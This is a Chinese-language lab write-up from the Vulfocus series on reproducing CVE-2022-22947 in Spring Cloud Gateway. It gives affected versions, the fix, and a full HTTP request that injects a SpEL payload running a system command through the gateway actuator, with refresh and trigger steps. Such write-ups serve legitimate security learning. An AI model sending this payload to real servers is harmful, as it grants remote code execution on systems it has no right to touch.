[Vulfocus解題系列]spring 命令執行(CVE-2022-22947)

環境部署

使用docker部署環境
在這里插入圖片描述

漏洞等級:高危

3 月 1 日,VMware 官方發布安全公告,聲明對 Spring Cloud Gateway 中的一處命令注入漏洞進行了修復,漏洞編號為CVE-2022-22947
Spring官方發布

漏洞描述

使用 Spring Cloud Gateway 的應用如果對外暴露了 Gateway Actuator 接口,則可能存在被 CVE-2022-22947 漏洞利用的風險。攻擊者可通過利用此漏洞執行 SpEL 表達式,從而在目標服務器上執行任意惡意代碼,獲取系統權限。

影響范圍

Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他舊的、不受支持的 Spring Cloud Gateway 版本

漏洞利用前置條件

除了 Spring Cloud Gateway 外,程序還用到了 Spring Boot Actuator 組件(它用于對外提供 /actuator/ 接口);

#Spring 配置對外暴露 gateway 接口,如 application.properties 配置為:
默認為truemanagement.endpoint.gateway.enabled=true
#以逗號分隔的一系列值,默認為 health
#若包含 gateway 即表示對外提供 Spring Cloud Gateway 接口
management.endpoints.web.exposure.include=gateway

解決方案

3.1.x 版本用戶應升級到 3.1.1+ 版本,3.0.x 版本用戶應升級到 3.0.7+ 版本。
或者在不考慮影響業務的情況下禁用 Gateway actuator 接口:如application.properties 中配置 management.endpoint.gateway.enabled 為 false。

復現過程

使用burp抓包,直接上字典掃描目錄
在這里插入圖片描述

掃描出了存在
/actuator路徑,里面有很多spring常見的接口路徑
我們先查看路由/actuator/gateway/routes
在這里插入圖片描述
然后創建一條包含惡意代碼的路由:

POST /actuator/gateway/routes/error HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336{"id": "error","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}

在這里插入圖片描述
接著以POST方法請求
/actuator/gateway/refresh
用于刷新路由,使剛添加的惡意路由生效
在這里插入圖片描述
最后以GET方法請求/actuator/gateway/routes
,觸發惡意路由,可以 看到之前的id命令被執行了
在這里插入圖片描述
真實環境測試時證明漏洞存在后記得將惡意路由刪除,使用DELETE
在這里插入圖片描述

再次刷新路由/actuator/gateway/refresh,
然后查看路由,恢復到測試之前的樣子了:
在這里插入圖片描述

參考鏈接:https://blog.csdn.net/qq_49619863/article/details/127350543
https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247490095&idx=1&sn=8bdc76de3ebaa557c9e56b33d803c112&chksm=90393cdfa74eb5c90587c4a6549a6cd9e0aaec2fa53d531c1e1362260b5e6c12c4fa3516cece&scene=27

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/23145.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/23145.shtml
英文地址,請注明出處:http://en.pswp.cn/web/23145.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

javaweb—Vue

重點為&#xff1a;雙向數據綁定。 框架&#xff1a;是一個半成品軟件&#xff0c;是一套可重用的、通用的、軟件基礎代碼模型&#xff0c;基于框架進行開發&#xff0c;更加快捷&#xff0c;更加高效。 Vue快速入門 基礎框架&#xff1a; <!DOCTYPE html> <html lan…

【Python Cookbook】S01E20 fnmatch 模塊做字符串匹配

目錄 問題解決方案討論 問題 在不同的操作系統下&#xff0c;怎樣做字符串匹配&#xff1f; 解決方案 fnmatch() 模塊提供兩個函數&#xff0c;fnmatch() 以及 fnmatchcase() 可以用來執行做這樣的匹配。 from fnmatch import fnmatch, fnmatchcasematch_res fnmatch(foo.…

vue路由緩存

vue路由緩存 在業務場景中有時候需要頁面緩存不清空&#xff0c;那么就需要保留緩存(include為需要緩存&#xff0c;而exclude為不緩存&#xff0c;且優先級大于include) <KeepAlive> 是一個內置組件&#xff0c;它的功能是在多個組件間動態切換時緩存被移除的組件實例…

【java 為什么說 Synchronized 是非公平鎖?】

文章目錄 概要1. 非公平鎖的定義2. synchronized 作為非公平鎖的原因3. 非公平鎖的特點4. 如何實現公平鎖總結 概要 在Java中&#xff0c;synchronized 關鍵字用于實現同步&#xff0c;以確保在多線程環境下對共享資源的訪問是線程安全的。然而&#xff0c;synchronized 實現的…

03-3.1.2 棧的順序存儲的實現

&#x1f44b; Hi, I’m Beast Cheng&#x1f440; I’m interested in photography, hiking, landscape…&#x1f331; I’m currently learning python, javascript, kotlin…&#x1f4eb; How to reach me --> 458290771qq.com 喜歡《數據結構》部分筆記的小伙伴可以訂…

郵件地址搜索軟件

易郵件地址搜索大師  一、易郵件地址搜索大師特色 — 易郵件地址搜索大師是一款搜索郵件地址和手機號碼的軟件&#xff0c;可以按整站搜索&#xff0c;也可以按關鍵詞搜索。使用方法非常簡單和方便。 — “整站搜索”可以搜索有很多郵件地址的單一網站&#xff0c;主要用于…

Technart電動螺絲刀TN101控制器維修

Technart電動螺絲刀以其高效、穩定和精確的扭矩控制而聞名。然而&#xff0c;即使優質的產品&#xff0c;在長時間的使用下&#xff0c;也可能會出現TECHNART電動螺母扳手控制器故障。 常見故障及維修方法 1. 控制器不工作 癥狀&#xff1a;電動螺絲刀無法啟動&#xff0c;或啟…

Python怎么染色:深入探索Python中的文本和圖形著色技巧

Python怎么染色&#xff1a;深入探索Python中的文本和圖形著色技巧 在Python編程中&#xff0c;染色或著色不僅限于文本輸出&#xff0c;還涉及圖形、圖像甚至數據可視化的多個層面。本文將帶你走進Python的染色世界&#xff0c;從四個方面、五個方面、六個方面和七個方面詳細…

【WEEK15】 【DAY2】【DAY3】Email Tasks【English Version】

Continuation from【WEEK15】 【DAY1】Asynchronous Tasks【English Version】 Contents 17. Asynchronous, Timed, and Email Tasks17.2. Email Tasks17.2.1. Email sending is also very common in our daily development, and Springboot provides support for this as well…

用戶的權限

一&#xff0c;用戶權限基礎知識 1&#xff0c;用戶的權限有&#xff1a; r&#xff1a;讀 w&#xff1a;寫 x&#xff1a;執行 2&#xff0c;文件的權限&#xff1a; r&#xff1a;可以執行cat、head、tail等命令讀取文件中的內容 w&#xff1a;可以用vi/vim或者重定向等…

JeecgBoot/SpringBoot升級Nacos(2.0.4到2.2.3)啟動報錯

錯誤如下&#xff1a; 報這種錯誤基本就很頭大了&#xff0c;是框架不兼容的問題&#xff0c;自己找很難找到解決方法。 解決方案是把SpringBoot框架版本調高。 修改前&#xff1a; <parent><groupId>org.springframework.boot</groupId><artifactId&g…

Dell戴爾XPS 16 9640 Intel酷睿Ultra9處理器筆記本電腦原裝出廠Windows11系統包,恢復原廠開箱狀態oem預裝系統

下載鏈接&#xff1a;https://pan.baidu.com/s/1j_sc8FW5x-ZreNrqvRhjmg?pwd5gk6 提取碼&#xff1a;5gk6 戴爾原裝系統自帶網卡、顯卡、聲卡、藍牙等所有硬件驅動、出廠主題壁紙、系統屬性專屬聯機支持標志、系統屬性專屬LOGO標志、Office辦公軟件、MyDell、邁克菲等預裝軟…

Linux基礎 (十四):socket網絡編程

我們用戶是處在應用層的&#xff0c;根據不同的場景和業務需求&#xff0c;傳輸層就要為我們應用層提供不同的傳輸協議&#xff0c;常見的就是TCP協議和UDP協議&#xff0c;二者各自有不同的特點&#xff0c;網絡中的數據的傳輸其實就是兩個進程間的通信&#xff0c;兩個進程在…

32C3-2模組與樂鑫ESP32--C3--WROOM--02模組原理圖、升級口說明

模組原理圖&#xff1a; 底板原理圖&#xff1a; u1 是AT通信口&#xff0c;wiif-tx wifi-rx 是升級口&#xff0c;chip-pu是reset復位口&#xff0c;GPIO9拉低復位進入下載模式 ESP32-WROOM-32 系列硬件連接管腳分配? 功能 ESP32 開發板/模組管腳 其它設備管腳 下載固件…

【Python報錯】AttributeError: ‘NoneType‘ object has no attribute ‘xxx‘

成功解決“AttributeError: ‘NoneType’ object has no attribute ‘xxx’”錯誤的全面指南 一、引言 在Python編程中&#xff0c;AttributeError是一種常見的異常類型&#xff0c;它通常表示嘗試訪問對象沒有的屬性或方法。而當我們看到錯誤消息“AttributeError: ‘NoneTyp…

激發AI創新潛能,OPENAIGC開發者大賽賽題解析

人工智能&#xff08;AI&#xff09;的飛速發展&#xff0c;特別是AIGC、大模型、數字人技術的成熟&#xff0c;不僅改變了數據處理和信息消費的方式&#xff0c;也為企業和個人提供了前所未有的機遇。在這種技術進步的背景下&#xff0c;由聯想拯救者、AIGC開放社區、英特爾共…

PostgreSQL的視圖pg_stat_database

PostgreSQL的視圖pg_stat_database pg_stat_database 是 PostgreSQL 中的一個系統視圖&#xff0c;用于提供與數據庫相關的統計信息。這個視圖包含了多個有用的指標&#xff0c;可以幫助數據庫管理員了解數據庫的使用情況和性能。 以下是 pg_stat_database 視圖的主要列和其含…

三生隨記——理發店詭事

在城市的邊緣&#xff0c;隱藏著一家不起眼的理發店。它沒有華麗的裝飾&#xff0c;也沒有喧囂的廣告&#xff0c;只是靜靜地矗立在一條狹窄的小巷盡頭。據說&#xff0c;這家店只在深夜營業&#xff0c;而且只接待那些真心尋求改變的人。 有一天&#xff0c;一個名叫林逸的年輕…

基于SSM+Jsp的高校二手交易平臺

開發語言&#xff1a;Java框架&#xff1a;ssm技術&#xff1a;JSPJDK版本&#xff1a;JDK1.8服務器&#xff1a;tomcat7數據庫&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;數據庫工具&#xff1a;Navicat11開發軟件&#xff1a;eclipse/myeclipse/ideaMaven包…

【遠程連接服務器】—— Workbench和Xshell遠程連接阿里云服務器失敗和運行Xshell報錯找不到 MSVCP110.d的問題分析及解決

提示&#xff1a;文章寫完后&#xff0c;目錄可以自動生成&#xff0c;如何生成可參考右邊的幫助文檔 文章目錄 前言一、遠程連接不上服務器1. Workbench遠程連接失敗2.Xshell也連接不上3.解決方法(1)問題描述&#xff1a;(2)解決&#xff1a; 4.再次連接服務器 二、運行Xshell…